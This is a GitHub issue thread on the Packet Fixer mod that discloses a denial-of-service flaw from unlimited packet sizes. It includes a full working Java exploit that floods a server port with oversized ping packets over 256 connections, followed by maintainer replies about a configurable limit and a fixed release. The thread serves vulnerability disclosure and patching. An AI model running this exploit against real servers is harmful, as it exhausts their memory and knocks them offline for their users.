Packet Fixer

Packet Fixer

21M Downloads

allow to set limit to prevent abusing large packet

Closed this issue ยท 4 comments

commented

Hi, I discover that this mod allow / accept large packet size such as Integer.MAX_VALUE and cause huge offheap allocation (offheap mean it bypass Xmx)

this example code will send huge ping packet to server and cause high cpu usage + high memory usage

import java.io.OutputStream;
import java.util.Arrays;

public class OffHeapBuster {
    private static final byte[] ZEROS = new byte[1048576];
    // tune connection for impact
    private static final int CONNECTIONS = 256;
    private static final int PACKET_SIZE = Integer.MAX_VALUE - 10;
    private static final int SEGMENT_BITS = 0x7F;
    private static final int CONTINUE_BIT = 0x80;
    private static final byte[] MAGIC;
    // slow down after this threshold to prevent gc to clear buffer
    private static int SLOW_THRESHOLD = 1073741825;

    static {
        byte[] out = new byte[20];
        var idx = writeVarInt(PACKET_SIZE, out);
        out[idx++] = 1; // ping
        out[idx++] = 0; // zero
        MAGIC = Arrays.copyOf(out, idx);
    }

    public static void main(String[] args) throws Exception {
        for (int i = 0; i < CONNECTIONS; i++) {
            Thread.sleep(200);
            new Thread(() -> nuke("localhost", 25565)).start();
        }
    }

    // https://wiki.vg/Protocol#Type:VarInt
    static int writeVarInt(int value, byte[] out) {
        int count = 0;
        while (true) {
            if ((value & ~SEGMENT_BITS) == 0) {
                out[count++] = (byte) value;
                return count;
            }

            //writeByte((value & SEGMENT_BITS) | CONTINUE_BIT);
            out[count++] = (byte) ((value & SEGMENT_BITS) | CONTINUE_BIT);

            // Note: >>> means that the sign bit is shifted with the rest of the number rather than being left alone
            value >>>= 7;
        }
    }

    static void nuke(String host, int port) {
        while (true) {
            try {
                var tcp = new java.net.Socket(host, port);
                System.out.println(Thread.currentThread().getName() + " connected");
                var tx = tcp.getOutputStream();

                writeUntil(tx, SLOW_THRESHOLD, 131072, 10);
                writeUntil(tx, (Integer.MAX_VALUE - SLOW_THRESHOLD) - 2, 8193, 1000);
            } catch (Exception e) {
                System.out.println(Thread.currentThread().getName() + " error:" + e.getMessage());
            }
        }
    }

    static void writeUntil(OutputStream outputStream, int amount, int chunkSize, int delay) throws Exception {
        var remaining = amount;
        while (remaining > 0) {
            var write = Math.min(Math.min(chunkSize, remaining), ZEROS.length);
            outputStream.write(ZEROS, 0, write);
            outputStream.flush();
            Thread.sleep(delay);
            remaining -= write;
        }
    }
}
commented

@Wireless4024 Like it?
image

commented

look good, and I think you should leave the default value as is in config and let user to adjust them later (but this requires breaking change in version bump).
and probably allow logging peak packet size so they can understand how much size they need.

commented

look good, and I think you should leave the default value as is in config and let user to adjust them later (but this requires breaking change in version bump). and probably allow logging peak packet size so they can understand how much size they need.

I set variables * 100 by default so people don't have to change them

commented

Download the version 1.4.0!